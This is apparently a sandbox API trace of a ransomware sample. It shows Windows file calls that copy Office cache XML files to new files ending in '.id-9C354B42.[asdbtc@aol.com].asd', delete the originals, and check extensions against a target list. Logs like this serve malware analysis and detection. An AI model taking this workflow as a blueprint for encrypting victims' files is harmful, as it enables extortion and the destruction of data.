CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.613] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1800) returned 1 [0042.613] CloseHandle (hObject=0x198) returned 1 [0042.613] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0042.613] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.613] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.613] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.614] GetLastError () returned 0x0 [0042.614] ReadFile (in: hFile=0x198, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x708, lpOverlapped=0x0) returned 1 [0042.618] WriteFile (in: hFile=0x19c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x710, lpOverlapped=0x0) returned 1 [0042.619] ReadFile (in: hFile=0x198, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.620] WriteFile (in: hFile=0x19c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.620] SetEndOfFile (hFile=0x19c) returned 1 [0042.620] CloseHandle (hObject=0x19c) returned 1 [0042.628] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.628] SetEndOfFile (hFile=0x198) returned 1 [0042.629] CloseHandle (hObject=0x198) returned 1 [0042.629] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.629] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0042.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.629] lstrlenW (lpString=".doc") returned 4 [0042.629] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.629] lstrlenW (lpString=".docx") returned 5 [0042.629] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.629] lstrlenW (lpString=".pdf") returned 4 [0042.629] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.629] lstrlenW (lpString=".xls") returned 4 [0042.629] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString=".xlsx") returned 5 [0042.630] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.630] lstrlenW (lpString=".ppt") returned 4 [0042.630] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.630] lstrlenW (lpString=".zip") returned 4 [0042.630] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.630] lstrlenW (lpString=".rar") returned 4 [0042.630] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString=".bz2") returned 4 [0042.630] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString=".7z") returned 3 [0042.630] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.630] lstrlenW (lpString=".dbf") returned 4 [0042.630] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.630] lstrlenW (lpString=".1cd") returned 4 [0042.630] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.630] lstrlenW (lpString=".jpg") returned 4 [0042.630] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.630] lstrlenW (lpString=".doc") returned 4 [0042.630] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString=".docx") returned 5 [0042.630] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.630] lstrlenW (lpString=".pdf") returned 4 [0042.630] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.630] lstrlenW (lpString=".xls") returned 4 [0042.631] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.631] lstrlenW (lpString=".xlsx") returned 5 [0042.631] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.631] lstrlenW (lpString=".ppt") returned 4 [0042.631] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.631] lstrlenW (lpString=".zip") returned 4 [0042.631] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.631] lstrlenW (lpString=".rar") returned 4 [0042.631] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.631] lstrlenW (lpString=".bz2") returned 4 [0042.631] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.631] lstrlenW (lpString=".7z") returned 3 [0042.631] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.631] lstrlenW (lpString=".dbf") returned 4 [0042.631] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.631] lstrlenW (lpString=".1cd") returned 4 [0042.631] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0042.631] lstrlenW (lpString=".jpg") returned 4 [0042.631] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.631] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.631] lstrlenW (lpString="Proof.xml") returned 9 [0042.631] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.638] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1457) returned 1 [0042.639] CloseHandle (hObject=0x1ac) returned 1 [0042.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0042.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.639] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.639] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.639] GetLastError () returned 0x0 [0042.639] ReadFile (in: hFile=0x1ac, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x5b1, lpOverlapped=0x0) returned 1 [0042.666] WriteFile (in: hFile=0x1b0, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0042.667] ReadFile (in: hFile=0x1ac, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.667] WriteFile (in: hFile=0x1b0, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.667] SetEndOfFile (hFile=0x1b0) returned 1 [0042.667] CloseHandle (hObject=0x1b0) returned 1 [0042.671] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.671] SetEndOfFile (hFile=0x1ac) returned 1 [0042.672] CloseHandle (hObject=0x1ac) returned 1 [0042.672] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.672] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0042.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.672] lstrlenW (lpString=".doc") returned 4 [0042.672] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.672] lstrlenW (lpString=".docx") returned 5 [0042.672] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0042.672] lstrlenW (lpString=".pdf") returned 4 [0042.672] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.672] lstrlenW (lpString=".xls") returned 4 [0042.672] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.672] lstrlenW (lpString=".xlsx") returned 5 [0042.672] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0042.673] lstrlenW (lpString=".ppt") returned 4 [0042.673] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.673] lstrlenW (lpString=".zip") returned 4 [0042.673] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.673] lstrlenW (lpString=".rar") returned 4 [0042.673] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.673] lstrlenW (lpString=".bz2") returned 4 [0042.673] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.673] lstrlenW (lpString=".7z") returned 3 [0042.673] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.673] lstrlenW (lpString=".dbf") returned 4 [0042.673] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.673] lstrlenW (lpString=".1cd") returned 4 [0042.673] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.673] lstrlenW (lpString=".jpg") returned 4 [0042.673] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.673] lstrlenW (lpString=".doc") returned 4 [0042.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.673] lstrlenW (lpString=".docx") returned 5 [0042.673] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0042.674] lstrlenW (lpString=".pdf") returned 4 [0042.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.674] lstrlenW (lpString=".xls") returned 4 [0042.674] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.674] lstrlenW (lpString=".xlsx") returned 5 [0042.674] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0042.674] lstrlenW (lpString=".ppt") returned 4 [0042.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.674] lstrlenW (lpString=".zip") returned 4 [0042.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.674] lstrlenW (lpString=".rar") returned 4 [0042.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.674] lstrlenW (lpString=".bz2") returned 4 [0042.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.674] lstrlenW (lpString=".7z") returned 3 [0042.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.674] lstrlenW (lpString=".dbf") returned 4 [0042.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.675] lstrlenW (lpString=".1cd") returned 4 [0042.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0042.675] lstrlenW (lpString=".jpg") returned 4 [0042.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.675] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.675] lstrlenW (lpString="Office32MUI.xml") returned 15 [0042.675] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.676] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1383) returned 1 [0042.676] CloseHandle (hObject=0x1ac) returned 1 [0042.676] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0042.676] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.676] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.676] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.677] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.677] GetLastError () returned 0x0 [0042.677] ReadFile (in: hFile=0x1ac, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x567, lpOverlapped=0x0) returned 1 [0043.027] WriteFile (in: hFile=0x1b0, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x570, lpOverlapped=0x0) returned 1 [0043.029] ReadFile (in: hFile=0x1ac, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.029] WriteFile (in: hFile=0x1b0, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0043.029] SetEndOfFile (hFile=0x1b0) returned 1 [0043.029] CloseHandle (hObject=0x1b0) returned 1 [0043.030] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.030] SetEndOfFile (hFile=0x1ac) returned 1 [0043.031] CloseHandle (hObject=0x1ac) returned 1 [0043.031] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.032] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0043.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.034] lstrlenW (lpString=".doc") returned 4 [0043.034] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.034] lstrlenW (lpString=".docx") returned 5 [0043.034] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.034] lstrlenW (lpString=".pdf") returned 4 [0043.034] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.034] lstrlenW (lpString=".xls") returned 4 [0043.034] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.034] lstrlenW (lpString=".xlsx") returned 5 [0043.034] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.034] lstrlenW (lpString=".ppt") returned 4 [0043.034] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.035] lstrlenW (lpString=".zip") returned 4 [0043.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.048] lstrlenW (lpString=".rar") returned 4 [0043.048] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.048] lstrlenW (lpString=".bz2") returned 4 [0043.048] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.048] lstrlenW (lpString=".7z") returned 3 [0043.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.048] lstrlenW (lpString=".dbf") returned 4 [0043.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.048] lstrlenW (lpString=".1cd") returned 4 [0043.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.049] lstrlenW (lpString=".jpg") returned 4 [0043.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.049] lstrlenW (lpString=".doc") returned 4 [0043.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString=".docx") returned 5 [0043.049] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.049] lstrlenW (lpString=".pdf") returned 4 [0043.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString=".xls") returned 4 [0043.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString=".xlsx") returned 5 [0043.049] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.049] lstrlenW (lpString=".ppt") returned 4 [0043.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.049] lstrlenW (lpString=".zip") returned 4 [0043.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.049] lstrlenW (lpString=".rar") returned 4 [0043.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString=".bz2") returned 4 [0043.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.049] lstrlenW (lpString=".7z") returned 3 [0043.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.050] lstrlenW (lpString=".dbf") returned 4 [0043.050] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.050] lstrlenW 